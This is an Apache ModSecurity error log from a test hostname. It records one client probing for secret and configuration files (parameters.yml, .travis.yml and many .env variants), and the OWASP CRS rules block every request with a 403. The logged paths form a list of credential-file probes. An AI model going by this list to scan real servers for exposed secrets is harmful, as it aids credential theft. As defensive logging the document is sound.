[Sat Jul 26 14:23:48.214863 2025] [:error] [pid 1466140] [client 185.177.72.115:59546] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aITI1DHEi-oO89cLoESBxwAAAAU&quot;]
[Sat Jul 26 14:23:48.215022 2025] [:error] [pid 1466140] [client 185.177.72.115:59546] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aITI1DHEi-oO89cLoESBxwAAAAU&quot;]
[Sat Jul 26 14:23:48.236748 2025] [:error] [pid 1466140] [client 185.177.72.115:59546] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aITI1DHEi-oO89cLoESByAAAAAU&quot;]
[Sat Jul 26 14:23:48.236935 2025] [:error] [pid 1466140] [client 185.177.72.115:59546] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aITI1DHEi-oO89cLoESByAAAAAU&quot;]
[Sat Jul 26 14:23:48.237094 2025] [:error] [pid 1466140] [client 185.177.72.115:59546] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aITI1DHEi-oO89cLoESByAAAAAU&quot;]
[Sat Jul 26 14:23:48.808386 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;.travis.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .travis.yml found within REQUEST_FILENAME: /.travis.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aITI1AxjxSVdKPpmiUKlfAAAAAc&quot;]
[Sat Jul 26 14:23:48.808639 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aITI1AxjxSVdKPpmiUKlfAAAAAc&quot;]
[Sat Jul 26 14:23:48.808815 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aITI1AxjxSVdKPpmiUKlfAAAAAc&quot;]
[Sat Jul 26 14:23:49.122106 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlhQAAAAc&quot;]
[Sat Jul 26 14:23:49.122379 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlhQAAAAc&quot;]
[Sat Jul 26 14:23:49.122568 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlhQAAAAc&quot;]
[Sat Jul 26 14:23:49.151474 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlhgAAAAc&quot;]
[Sat Jul 26 14:23:49.151723 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlhgAAAAc&quot;]
[Sat Jul 26 14:23:49.151925 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlhgAAAAc&quot;]
[Sat Jul 26 14:23:49.180630 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.envs/.production/.django&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs/.production/.django&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlhwAAAAc&quot;]
[Sat Jul 26 14:23:49.180885 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs/.production/.django&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlhwAAAAc&quot;]
[Sat Jul 26 14:23:49.181103 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs/.production/.django&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlhwAAAAc&quot;]
[Sat Jul 26 14:23:49.419874 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /library/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/library/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKljwAAAAc&quot;]
[Sat Jul 26 14:23:49.420225 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/library/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKljwAAAAc&quot;]
[Sat Jul 26 14:23:49.420507 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/library/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKljwAAAAc&quot;]
[Sat Jul 26 14:23:49.450785 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /myproject/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/myproject/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlkAAAAAc&quot;]
[Sat Jul 26 14:23:49.451043 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/myproject/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlkAAAAAc&quot;]
[Sat Jul 26 14:23:49.451249 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/myproject/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlkAAAAAc&quot;]
[Sat Jul 26 14:23:49.480137 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node-api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node-api/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlkQAAAAc&quot;]
[Sat Jul 26 14:23:49.480371 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node-api/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlkQAAAAc&quot;]
[Sat Jul 26 14:23:49.480586 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node-api/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlkQAAAAc&quot;]
[Sat Jul 26 14:23:49.509447 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nextjs-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nextjs-app/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlkgAAAAc&quot;]
[Sat Jul 26 14:23:49.509693 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nextjs-app/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlkgAAAAc&quot;]
[Sat Jul 26 14:23:49.509896 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nextjs-app/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlkgAAAAc&quot;]
[Sat Jul 26 14:23:49.569558 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /react-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKllAAAAAc&quot;]
[Sat Jul 26 14:23:49.569800 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKllAAAAAc&quot;]
[Sat Jul 26 14:23:49.569992 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKllAAAAAc&quot;]
[Sat Jul 26 14:23:49.598888 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /react-app/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env.production&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKllQAAAAc&quot;]
